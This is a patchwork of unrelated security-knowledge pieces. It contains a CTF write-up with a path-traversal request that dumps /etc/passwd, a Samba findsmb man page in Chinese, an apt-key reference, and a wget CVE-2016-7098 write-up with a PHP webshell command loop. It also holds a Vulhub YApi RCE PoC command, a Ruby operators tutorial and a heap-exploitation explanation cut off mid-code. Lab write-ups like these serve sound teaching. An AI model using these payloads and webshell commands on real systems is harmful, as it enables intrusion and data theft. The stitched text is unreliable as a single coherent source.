GET / HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Date:MNDU42DDIY4XIWSWHA4GI3KWPFSVGQTOMIZDS22MINBDKYRTKVTWE3KWNRNEGQRQMJ4UE3LBK42WWSKHIVTWE3SWORMW2VTZJFEFE5SJI5HHMYSYIJZVUWCSNRE
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
info: 00110000 00110000 00110111
Connection: close
601
HTTP/1.1 303 See Other
Date: Sun, 12 Mar 2023 16:45:16 GMT
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 321
Location: http://127.0.0.1/en-US/
Vary: Accept-Language
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd
<!doctype html><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta http-equiv="refresh" content="1;url=http://127.0.0.1/en-US/"><title>303 See Other</title></head><body><h1>See Other</h1><p>The resource has moved temporarily <a href="http://127.0.0.1/en-US/">here</a>.</p></body></html>
===================================================================
```
The value for the "Date" header seems weird. Decode as Base32 to `cGNhcF9tZV88dmVyeSBnb29kLCB5b3UgbmVlZCB0byBmaW5kIGEgbnVtYmVyIHRvIGNvbXBsZXRlJ`, then as base64 to `pcap_me_<very good, you need to find a number to complete`. To complete the flag, decode the "info" header as binary: `007`. The flag is `pcap_me_007`.
### save the file
> Save the .enc file
We get two files: `file.enc` and `p.pem`. Decrypt with OpenSSL:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/save_the_file]
└─$ openssl rsautl -decrypt -inkey p.pem -in file.enc
you_got_the_rsa_flag
```
### Under Maintenance
> The flag format - Flag{This_is_Example}
A website was attached. Visit it:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/Under_Maintenance]
└─$ curl https://incd-challange-undermaintenance.chals.io/
<!DOCTYPE html>
<html lang="en">
<head>
<title>Bootstrap Website Example</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
<style>
.fakeimg {
height: 200px;
background: #aaa;
}
</style>
</head>
<body>
<div class="jumbotron text-center" style="margin-bottom:0">
<h1>Under Maintenance</h1>
<p>There is nothing to see here</p>
</div>
</body>
</html>
```
Check `robots.txt`:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/Under_Maintenance]
└─$ curl https://incd-challange-undermaintenance.chals.io/robots.txt
User-agent: *
Disallow: /kifjf/
```
Visit `/kifjf` (note that `/kifjf/` returns an error):
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/Under_Maintenance]
└─$ curl https://incd-challange-undermaintenance.chals.io//kifjf
Flag{Rob0t_F1@g}
```
The flag that was accepted was `Rob0t_F1@g`.
### Connecting people
> The SOC handed over to you a PCAP file find the password the attacker used to connect to the server
A PCAP was attached. Search it for "password":
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/Connecting_people]
└─$ tshark -nr challengePCAP.pcapng -Y 'frame contains "password"'
91272 149.162397 13.107.4.50 → 192.168.188.135 TCP 1514 80 → 50124 [ACK] Seq=2153284 Ack=7000 Win=64240 Len=1460 [TCP segment of a reassembled PDU]
91449 149.164680 13.107.4.50 → 192.168.188.135 HTTP 1341 HTTP/1.1 200 OK (application/x-chrome-extension)
160134 367.882945 192.168.188.134 → 192.168.188.135 HTTP 1304 HTTP/1.1 200 OK (text/html)
166803 499.208124 192.168.188.135 → 192.168.188.134 HTTP 684 POST / HTTP/1.1 (application/x-www-form-urlencoded)
```
The last frame is a POST, let's see the content:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/Connecting_people]
└─$ tshark -nr challengePCAP.pcapng -Y 'frame.number == 166803' -T fields -e text
Timestamps,POST / HTTP/1.1\r\n,\r\n,Form item: "username" = "Pitbull",Form item: "password" = "incorrect!"
```
The password is `incorrect!`, however that flag that was accepted was `incorrect`.
### Find Me
> Find the hidden flag
An HTML file was attached.
```html
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form onsubmit="event.preventDefault(); validate()" method="POST">
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password"><br><br>
<button type="submit">Submit</button>
</form>
<div id="image" style="display: none;">
<img src="data:image/png;base64,......................."/> <!-- The original challenge contained a long Base64 string here -->
</div>
<script>
const username = atob("SU5DRA==");
const password = atob("SU5DRA==");
function validate() {
const enteredUsername = document.getElementById("username").value;
const enteredPassword = document.getElementById("password").value;
if (enteredUsername === username && enteredPassword === password) {
document.getElementById("image").style.display = "block";
} else {
alert("Invalid input");
}
}
</script>
</body>
</html>
```
Decode `SU5DRA==` as base64 to `INCD` and enter as username and password to see the image. Alternatively, reveal the image by removing the `style="display: none;"`.
The flag is in the image: `INCD_RULES`.
### only jpg?
> Find the hidden flag
A JPEG file was attached. Use `steghide` without a password to extract the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/only_jpg]
└─$ steghide extract -sf flag.jpg
Enter passphrase:
wrote extracted data to "flag.txt".
┌──(user@kali)-[/media/sf_CTFs/INCD/only_jpg]
└─$ cat flag.txt
stego_flag_2023
```
### use the map
A screenshot of some area in Seattle was attached. One of the street names was changed to `very_simple_flag`.
### can you see?
> The flag format - Flag{This_is_Example}
A website was attached, together with the following source code:
```php
<?php
header('Pragma: cache');
header("Cache-Control: max-age=500");
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset=utf-8>
<head>
<body>
<?php
$head = array("Pragma: cache", "Cache-Control: max-age=500", "X-XSS-Protection: 0");
$input = [];
$i=0;
$flag="false";
if(isset($_SERVER['HTTP_REFERER']))
{
echo "Bad Referrer!";
}
else
{
foreach (getallheaders() as $name => $value) {
echo "$name: $value\n"; array_push($input,"$name: $value");
}
}
if (count(array_intersect($head, $input)) == count($head)) {
writeMsg();
}
else {
echo "Try Harder!";
}
?>
</body>
</html>
```
To get the flag, send the following request:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/can_you_see]
└─$ curl https://incd-challange-can_you_see.chals.io/index.php -H "Pragma: cache" -H "Cache-Control: max-age=500" -H "X-XSS-Protection: 0"
<html>
<head>
<meta charset=utf-8>
<head>
<body>
Host: incd-challange-can_you_see.chals.io
User-Agent: curl/7.74.0
Accept: */*
Pragma: cache
Cache-Control: max-age=500
X-XSS-Protection: 0
Flag{missing_hEader_Fl@g}
</body>
</html>
```
### Decrypt Me
> You have been given some part of message that has been manipulated in some way along with XOR 1 character key.
>
> Your task is to write a script to decode and decrypt the message and reveal the original message.
>
> The encrypted message is: =AEShtGbDBnacFHZgdnQ
>
> Your script should print out the original message. the final flag is "Original Message -Xor key" for example if the decrypted original message is "YesWeCan" and it was encrypted using XOR key 9, insert the final flag in the following format : {YesWeCan-9}
>
> Good luck!
>
> Please attach the code to the mail
That looks like base64 reversed, reverse and decode as base64, then try all 256 value to decrypt. The key that works is `0x05`, giving `GreatYouFindME`. The flag is `{GreatYouFindME-5}`.
### Lets go
> The flag format - Flag{This_is_Example}
A website was attached. Let's check it:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/Lets_go]
└─$ curl https://incd-challange-lets_go.chals.io
<html><body><h1>It works!</h1></body></html>
```
We run `dirsearch` on it:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/can_you_see]
└─$ dirsearch -u https://incd-challange-lets_go.chals.io/
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /media/sf_CTFs/INCD/can_you_see/reports/https_incd-challange-lets_go.chals.io/__23-04-17_20-04-55.txt
Target: https://incd-challange-lets_go.chals.io/
[20:04:55] Starting:
[20:05:30] 200 - 1KB - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[20:05:30] 200 - 820B - /cgi-bin/printenv
[20:05:30] 200 - 1KB - /cgi-bin/test-cgi
Task Completed
```
Let's follow up on the first result:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/can_you_see]
└─$ curl --path-as-is https://incd-challange-lets_go.chals.io/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false
Flag{U_F1nd_/\/\!}
```
The flag is `Flag{U_F1nd_/\/\!}`.
|
sec-knowleage
|
.TH findsmb 1 Samba2 May2000
.SH NAME
findsmb \- 列出在子网上响应SMB名称查询的主机信息
.SH SYNOPSIS 总览
findsmb [子网广播地址]
.SH 描述
此perl脚本是Samba组件的一部分。
findsmb是个用于打印出关于子网中响应SMB名字查询请求的主机信息的perl脚本。实际上它是通
过使用nmblookup和smbclient来获得这些信息的。
.SH 选项
如果不使用子网广播地址这个选项的话,findsmb将自行探测运行命令本身的主机所在的子网。
该值将会传递给nmblookup作为它的-B选项的一部分。
.SH 示例
findsmb的输出可以列出响应任何初始nmblookup名字查询的所有主机的以下信息:IP地址、NetBIOS
名、工作组名、操作系统和SMB服务器版本。
在列表中,如果某台主机为其所在工作组的本地主浏览器的话,该主机后跟的工作组名前会被
标上\(lq+\(rq号。而如果某台主机为其所在工作组的主域浏览器的话,那么该主机后跟的工作组名
前会被标上\(lq*\(rq号。那些运行Windows、Windows 95 或 Windows 98的主机将不显示任何操作
系统或服务器版本的信息。
该命令必须运行在没有nmbd正在运行的系统上。否则,你将只得到主机的IP地址和DNS名。要得
到Windows 95 和 Windows 98主机的正确响应,必须以root身份运行该命令。
例如运行:
findsmb
在一台当前没有nmbd运行的主机上就会产生如下的信息:
.nf
IP ADDR NETBIOS NAME WORKGROUP/OS/VERSION
---------------------------------------------------------------------
192.168.35.10 MINESET-TEST1 [DMVENGR]
192.168.35.55 LINUXBOX *[MYGROUP] [Unix] [Samba 2.0.6]
192.168.35.56 HERBNT2 [HERB-NT]
192.168.35.63 GANDALF [MVENGR] [Unix] [Samba 2.0.5a for IRIX]
192.168.35.65 SAUNA [WORKGROUP] [Unix] [Samba 1.9.18p10]
192.168.35.71 FROGSTAR [ENGR] [Unix] [Samba 2.0.0 for IRIX]
192.168.35.78 HERBDHCP1 +[HERB]
192.168.35.88 SCNT2 +[MVENGR] [Windows NT 4.0] [NT LAN Manager 4.0]
192.168.35.93 FROGSTAR-PC [MVENGR] [Windows 5.0] [Windows 2000 LAN Manager]
192.168.35.97 HERBNT1 *[HERB-NT] [Windows NT 4.0] [NT LAN Manager 4.0]
.fi
.SH 版本
此手册页是针对samba套件版本2.0的。
.SH 另见
nmblookup (1), smbclient (1)
.SH 作者
该perl脚本是由SGI的Herb Lewis所开发。
samba软件和相关工具最初由Andrew Tridgell samba-bugs@samba.org创建。samba现在
由开发组作为类似Linux内核开发采用的开放源代码计划方式来发展。
请参见samba (7)查找如何获得一份完整的维护者列表以及如何提交错误报告及注解等等。
.SH [中文版维护人]
meaculpa <meaculpa@21cn.com>
.SH [中文版最新更新]
2001/02/24
.SH 《中文MAN-PAGE计划》:
http://cmpp.linuxforum.net
|
sec-knowleage
|
apt-key
===
管理Debian Linux系统中的软件包密钥
## 补充说明
**apt-key命令** 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥。
### 语法
```shell
apt-key(参数)
```
### 参数
操作指令:APT密钥操作指令。
### 实例
```shell
apt-key list # 列出已保存在系统中key。
apt-key add keyname # 把下载的key添加到本地trusted数据库中。
apt-key del keyname # 从本地trusted数据库删除key。
apt-key update # 更新本地trusted数据库,删除过期没用的key。
```
|
sec-knowleage
|
# B3tterS0ci4lN3twork (web 50)
Hint: try to find some cves
## ENG
[PL](#pl-version)
In the task we get access to some webpage.
We can register and log in.
In this webpage we can send messages to other users and there is a clear XSS in the messages.
This pointed us (and many other players) in wrong direction.
We can also change password and upload avatar, but it takes only `.png/.jpg` files.
Once the hint was released we had to change the approach -> CVE has to be about some real software, webserver, php version etc.
All seemed right, but we decided to check how the avatar is uploaded to the server, and we found out that it is using `wget 1.15`.
It's not the latest version, so it's a good candidate for some know vulnerabilty.
Some looking around and we found: https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html
The issue is that until the connection is closed during file upload, the file extension check is not triggered.
This means we can upload a PHP shell and use it as long as we don't close the wget connection!
We used the PoC from the article, replacing single command execution for
```python
while True:
command = raw_input(">")
print urllib2.urlopen(WEBSHELL_URL+"?cmd="+command).read()
```
And we got ourselves a nice shell, which we used to list files and find hidden php file with flag:
`h4ck1t{wg3t_cv3_1n_CTF}`
## PL version
W zadaniu dostajemy link do strony internetowej.
Możemy się tam zarejestrować i zalogować.
Strona pozwala wysyłać wiadomości między użytkownikami i jest tam ewidentna podatność XSS.
To skierowało nas (i wiele innych osób) na złe tory.
Na stronie możemy też zminić hasło oraz uploadować avatar, ale tylko `.png/.jpg`.
Po udostępnieniu podpowiedzi musieliśmy zmienić podejscie -> CVE musi dotyczyć jakiegoś prawdziwego oprogramowania, serwera, wersji php itd.
Wszystko wyglądało dobrze, ale postanowiśmy sprawdzić w jaki sposób avatar jest pobierany na serwer i okazało się że za pomocą `wget 1.15`.
To nie jest najnowsza wersja, więc jest dobrym kandydatem na jakąś znaną podatność.
Chwila szukania i trafiliśmy na: https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html
Błąd polega na tym, że dopóki połączenie z uploadem pliku nie zostanie zerwane, filtr rozszerzeń plików nie jest uruchamiany.
To oznacza że możemy uploadować PHP shell i dopóki nie zerwiemy połączenia wgeta możemy tego shella używać.
Zastosowalismy PoC z artykułu, zmieniając jedynie dla wygody jedno wykonanie komendy na:
```python
while True:
command = raw_input(">")
print urllib2.urlopen(WEBSHELL_URL+"?cmd="+command).read()
```
I dostaliśmy dość ładego shella, za pomocą którego listowaliśmy i wypisywaliśmy pliki, w tym ukryty plik php z flagą: `h4ck1t{wg3t_cv3_1n_CTF}`
|
sec-knowleage
|
# YApi NoSQL injection and remote code execution
[中文版本(Chinese version)](README.zh-cn.md)
YApi is a API testing tools for enterprise. YApi which in the version prior to v1.12.0, are vulnerable to a NoSQL injection, as well as a remote code execution vulnerability. The remote attacker could steal project's token through NoSQL injection without authentication and use this token to execute the Mock script and get shell.
References:
- <https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c>
## Vulnerable Environment
Execute following command to start a YApi server v1.10.2:
```
docker compose up -d
```
After the server is started, you can browse the website at `http://your-ip:3000/`.
## Exploit
The target in Vulhub is a ready-to-use server that contains some example data in MongoDB. So just use [this POC](poc.py) to reproduce the issue:
```
python poc.py --debug one4all -u http://127.0.0.1:3000/
```

|
sec-knowleage
|
# 运算符
---
- https://www.kancloud.cn/imxieke/ruby-base/107296
---
Ruby 的运算符能通过定义方法的方式来改变其原有的含义。
# 赋值运算符
正如我们之前所介绍的那样,Ruby 的变量是在首次赋值的时候创建的。之后,程序可能会对变量引用的对象做各种各样的处理,甚至再次给变量赋值。例如,对 a 变量加 1,对 b 变量乘 2,如下所示:
```ruby
a = a + 1
b = b * 2
```
上面的表达式可被改写为以下形式:
```ruby
a += 1
b *= 2
```
大部分的二元运算符 op 都可以做如下转换。
```ruby
var op= val
↓
var = var op val
```
将二元运算符与赋值组合起来的运算符称为赋值运算符。
- `&&=`
- `||=`
- `^=`
- `&=`
- `|=`
- `<>`
- `>>=`
- `+=`
- `-=`
- `\*=`
- `/=`
- `%=`
- `\*\*=`
除了变量之外,赋值运算符也同样适用于经由方法的对象操作。下面两个表达式是等效的。
```ruby
$stdin.lineno += 1
$stdin.lineno = $stdin.lineno + 1
```
请读者注意,上面的式子调用的是 `$stdin.lineno` 和 `$stdin.lineno=` 这两个方法。也就是说,使用赋值运算符的对象必须同时实现 reader 以及 writer 存取方法。
# 逻辑运算符的应用
在介绍逻辑运算符的应用例子之前,我们需要先来了解一下逻辑运算符的以下一些特征。
- 表达式的执行顺序是从左到右
- 如果逻辑表达式的真假已经可以确定,则不会再判断剩余的表达式
- 最后一个表达式的值为整体逻辑表达式的值
```ruby
条件 1``|| 条件 2
```
上面的表达式一定会按照条件 1、条件 2 的顺序来判断表达式的值。条件 1 的判断结果为真时,不需要判断条件 2 的结果也可以知道整体表达式的结果为真。反过来说,只有当条件 1 的判断结果为假时,才需要判断条件 2。也就是说,Ruby 的逻辑运算符会避免做无谓的判断。下面我们来进一步扩展该逻辑表达式:
```ruby
条件 1``|| 条件 2``|| 条件 3
```
这种情况下,只有当条件 1 和条件 2 两者都为假的时候,才会进行条件 3 的判断。这里的条件表达式指的是 Ruby 中所有的表达式。
```
var || "Ruby"
```
在上面的表达式中,首先会判断 `var` 的真假值,只有当 `var` 为 `nil` 或者 `false` 时,才会判断后面的字符串 `"Ruby"` 的真假值。之前我们也提到过,逻辑表达式的返回值为最后一个表达式的返回值,因此这个表达式的返回值为:
- `var` 引用对象时,`var` 的值
- `var` 为 `nil` 或者 `false` 时,字符串 `"Ruby"`
接下来,我们再来讨论一下 `&&`。基本规则与 `||` 是一样的。
```ruby
条件 1``&& 条件 2
```
与 `||` 刚好相反,只有当条件 1 的判断结果为真时,才会判断条件 2。
下面是逻辑运算符的应用例子。假设希望给变量 `name` 赋值,一般我们会这么做:
```ruby
name = "Ruby" # 设定 name 的默认值
if var # var 不是 nil 或者 false 时
name = var # 将 var 赋值给 name
end
```
使用 || 可以将这 4 行代码浓缩为一行代码。
```ruby
name = var || "Ruby"
```
下面我们稍微修改一下程序,假设要将数组的首元素赋值给变量。
```ruby
item = nil # 设定 item 的初始值
if ary # ary 不是 nil 或者 false 时
item = ary[0] # 将 ary[0] 赋值给 item
end
```
如果 `ary` 为 `nil`,则读取 `ary[0]` 时就会产生程序错误。在这个例子中,预先将 `item` 的值设定为了 `nil`,然后在确认 `ary` 不是 `nil` 后将 `ary[0]` 的值赋值给了 `item`。像这样的程序,通过使用 `&&`,只要像下面那样一行代码就可以搞定了:
```ruby
item = ary && ary[0]
```
在确定对象存在后再调用方法的时候,使用 `&&` 会使程序的编写更有效率。从数学的角度上来看,下面的逻辑表达式表达的是一样的意思,但是从编程语言的角度来看却并不是一样的。
```ruby
item = ary[0] && ary # 错误的写法
```
最后,我们来看看 `||` 的赋值运算符。
```ruby
var ||= 1
```
和
```ruby
var = var || 1
```
的运行结果是一样的。只有在 `var` 为 `nil` 或者 `false` 的时候,才把 1 赋值给它。这是给变量定义默认值的常用写法。
# 条件运算符
条件运算符 `?:` 的用法如下:
```ruby
条件 ? 表达式 1 : 表达式 2
```
上面的表达式与下面使用 `if` 语句的表达式是等价的:
```ruby
if 条件
表达式 1
else
表达式 2
end
```
例如,对比 `a` 与 `b` 的值,希望将比较大的值赋值给 `v` 时,程序可以像下面这样写:
```ruby
a = 1
b = 2
v = (a > b) ? a : b
p v #=> 2
```
如果表达式过于复杂就会使程序变得难懂,因此建议不要滥用此写法。条件运算符也称为三元运算符。
# 范围运算符
在 Ruby 中有表示数值范围的范围(range)对象。例如,我们可以像下面那样生成表示 1 到 10 的范围对象。
```ruby
Range.new(1, 10)
```
用范围运算符可以简化范围对象的定义。以下写法与上面例子的定义是等价的:
```ruby
1..10
```
范围运算符有 `..` 和 `...` 两种。`x..y` 和 `x...y` 的区别在于,前者的范围是从 x 到 y;而后者的范围则是从x 到 y 的前一个元素。
对 `Range` 对象使用 `to_a` 方法,就会返回范围中从开始到结束的值。下面就让我们使用这个方法来确认一下 `..` 和 `...` 有什么不同。
```ruby
p (5..10).to_a #=> [5, 6, 7, 8, 9, 10]
p (5...10).to_a #=> [5, 6, 7, 8, 9]
```
如果数值以外的对象也实现了根据当前值生成下一个值的方法,那么通过指定范围的起点与终点就可以生成 `Range` 对象。例如,我们可以用字符串对象生成 `Range` 对象。
```ruby
p ("a".."f").to_a #=> ["a", "b", "c", "d", "e", "f"]
p ("a"..."f").to_a #=> ["a", "b", "c", "d", "e"]
```
在 `Range` 对象内部,可以使用 `succ` 方法根据起点值逐个生成接下来的值。具体来说就是,对 `succ` 方法的返回值调用 `succ` 方法,然后对该返回值再调用 `succ` 方法……直到得到的值比终点值大时才结束处理。
```ruby
> irb --simple-prompt
>> val = "a"
=> "a"
>> val = val.succ
=> "b"
>> val = val.succ
=> "c"
>> val = val.succ
=> "d"
```
# 运算符的优先级
运算符是有优先级的,表达式中有多个运算符时,优先级高的会被优先执行。例如四则运算中的“先乘除后加减”。
表达式 | 含义 | 结果
- | - | -
1 + 2 * 3 | 1 + (2 * 3) | 7
"a" + "b" * 2 + "c" | "a" + ("b" * 2) + "c" | "abbc"
3 * 2 ** 3 | 3 * (2 ** 3) | 24
2 + 3 < 5 + 4 | (2 + 3) < (5 + 4) | true
2 < 3 && 5 > 3 | (2 < 3) && (5 > 3) | true
如果不想按照优先级的顺序进行计算,可以用 `()` 将希望优先计算的部分括起来,当有多个 `()` 时,则从最内侧的 `()` 开始算起。因此,如果还未能熟练掌握运算符的优先顺序,建议多使用 `()`。
# 定义运算符
Ruby 的运算符大多都是作为实例方法提供给我们使用的,因此我们可以很方便地定义或者重定义运算符,改变其原有的含义。但是,部分运算符是不允许修改的。
- ::
- &&
- ||
- ..
- ...
- ?:
- not
- =
- and
- or
**二元运算符**
定义四则运算符等二元运算符时,会将运算符名作为方法名,按照定义方法的做法重定义运算符。运算符的左侧为接收者,右侧被作为方法的参数传递。在程序中,我们将为表示二元坐标的 `Point` 类定义运算符 `+` 以及 `-`。
```ruby
class Point
attr_reader :x, :y
def initialize(x=0, y=0)
@x, @y = x, y
end
def inspect # 用于显示
"(#{x}, #{y})"
end
def +(other) # x、y 分别进行加法运算
self.class.new(x + other.x, y + other.y)
end
def -(other) # x、y 分别进行减法运算
self.class.new(x - other.x, y - other.y)
end
end
point0 = Point.new(3, 6)
point1 = Point.new(1, 8)
p point0 #=> (3, 6)
p point1 #=> (1, 8)
p point0 + point1 #=> (4, 14)
p point0 - point1 #=> (2, -2)
```
如上所示,定义二元运算符时,我们常把参数名定义为 `other`。
在定义运算符 `+` 和 `-` 的程序中,创建新的 `Point` 对象时,我们使用了 `self.class.new`。而像下面这样,直接使用 `Point.new` 方法也能达到同样的效果。
```ruby
def +(other)
Point.new(x + other.x, y + other.y)
end
```
使用上面的写法时,返回值一定是 `Point` 对象。如果 `Point` 类的子类使用了 `+` 和 `-`,则返回的对象应该属于 `Point` 类的子类,但是这样的写法却只能返回 `Point` 类的对象。在方法内创建当前类的对象时,不直接写类名,而是使用 `self.class`,那么创建的类就是实际调用 `new` 方法时的类,这样就可以灵活地处理继承与 `Mix-in` 了。
**puts 方法与 p 方法的不同点**
上面的代码中定义了用于显示的 `inspect` 方法,在 `p` 方法中把对象转换为字符串时会用到该方法。另外,使用 `to_s` 方法也可以把对象转换为字符串,在 `puts`、`print` 方法中都有使用 `to_s` 方法。下面我们来看看两者的区别。
```ruby
> irb --simple-prompt
>> str = "Ruby 基础教程"
=> "Ruby 基础教程"
>> str.to_s
=> "Ruby 基础教程"
>> str.inspect
=> "\"Ruby 基础教程\""
```
`String#to_s` 的返回结果与原字符串相同,但 `String#inspect` 的返回结果中却包含了 `\"`。这是因为 `p` 方法在输出字符串时,为了让我们更明确地知道输出的结果就是字符串而进行了相应的处理。这两个方法的区别在于,作为程序运行结果输出时用 `to_s` 方法;给程序员确认程序状态、调查对象内部信息等时用 `inspect` 方法。
除了 `puts` 方法、`print` 方法外,`to_s` 方法还被广泛应用在 `Array#join` 方法等内部需要做字符串处理的方法中。
`inspect` 方法可以说是主要使用 `p` 方法进行输出的方法。例如,irb 命令的各行结果的显示就用到了 `inspect` 方法。我们在写程序的时候,如果能根据实际情况选择适当的方法,就会达到事半功倍的效果。
**一元运算符**
可定义的一元运算符有 `+`、`-`、`~`、`!` 4 个。它们分别以 +@、-@、~@、!@ 为方法名进行方法的定义。下面就让我们试试在 `Point` 类中定义这几个运算符。这里需要注意的是,一元运算符都是没有参数的。
```ruby
class Point
┊
def +@
dup # 返回自己的副本
end
def -@
self.class.new(-x, -y) # 颠倒x、y 各自的正负
end
def ~@
self.class.new(-y, x) # 使坐标翻转90 度
end
end
point = Point.new(3, 6)
p +point #=> (3, 6)
p -point #=> (-3, -6)
p ~point #=> (-6, 3)
```
**下标方法**
数组、散列中的 `obj[i]` 以及 `obj[i]=x` 这样的方法,称为下标方法。定义下标方法时的方法名分别为 `[]` 和 `[]=`。
在代码中,定义 `Point` 类实例 `pt` 的下标方法,实现以 `v[0]` 的形式访问 `pt.x`,以 `v[1]` 的形式访问 `pt.y`。
```ruby
class Point
┊
def [](index)
case index
when 0
x
when 1
y
else
raise ArgumentError, "out of range `#{index}'"
end
end
def []=(index, val)
case index
when 0
self.x = val
when 1
self.y = val
else
raise ArgumentError, "out of range `#{index}'"
end
end
end
point = Point.new(3, 6)
p point[0] #=> 3
p point[1] = 2 #=> 2
p point[1] #=> 2
p point[2] #=> 错误(ArgumentError)
```
参数 `index` 代表的是数组的下标。由于本例中的类只有两个元素,因此当索引值指定 2 以上的数值时,程序就会认为是参数错误并抛出异常。
|
sec-knowleage
|
### House Of Einherjar介绍
house of einherjar 是一种堆利用技术,由 `Hiroki Matsukuma` 提出。该堆利用技术可以强制使得 `malloc` 返回一个几乎任意地址的 chunk 。其主要在于滥用 `free` 中的后向合并操作(合并低地址的chunk),从而使得尽可能避免碎片化。
此外,需要注意的是,在一些特殊大小的堆块中,off by one 不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位。
### House Of Einherjar原理关于后向合并操作
`free` 函数中的后向合并核心操作如下
```c
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
```
关于整体的操作,请参考 `深入理解堆的实现` 那一章节。
### 利用House Of Einherjar后向合并操作原理
这里我们就介绍该利用的原理。首先,在之前的堆的介绍中,我们可以知道以下的知识
- 两个物理相邻的 chunk 会共享 `prev_size`字段,尤其是当低地址的 chunk 处于使用状态时,高地址的chunk的该字段便可以被低地址的 chunk 使用。因此,我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 `prev_size` 字段。
- 一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态,而且该位是和 prev_size 物理相邻的。
- 后向合并时,新的 chunk 的位置取决于 `chunk_at_offset(p, -((long) prevsize))` 。
**那么如果我们可以同时控制一个chunk prev_size 与 PREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置。**
### 利用House Of Einherjar后向合并操作过程
#### 溢出前
假设溢出前的状态如下
#### 溢出
这里我们假设 p0 堆块一方面可以写prev_size字段,另一方面,存在off by one的漏洞,可以写下一个 chunk 的PREV_INUSE 部分
#### 溢出后
**假设我们将 p1的 prev_size 字段设置为我们想要的目的 chunk 位置与p1的差值**。在溢出后,我们释放p1,则我们所得到的新的 chunk 的位置 `chunk_at_offset(p1, -((long) prevsize))` 就是我们想要的 chunk 位置了。
当然,需要注意的是,由于这里会对新的 chunk 进行 unlink ,因此需要确保在对应 chunk 位置构造好了fake chunk 以便于绕过 unlink 的检测。
### House Of Einherjar后向合并操作攻击过程示例
可以进行 House Of Einherjar 攻击的代码:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
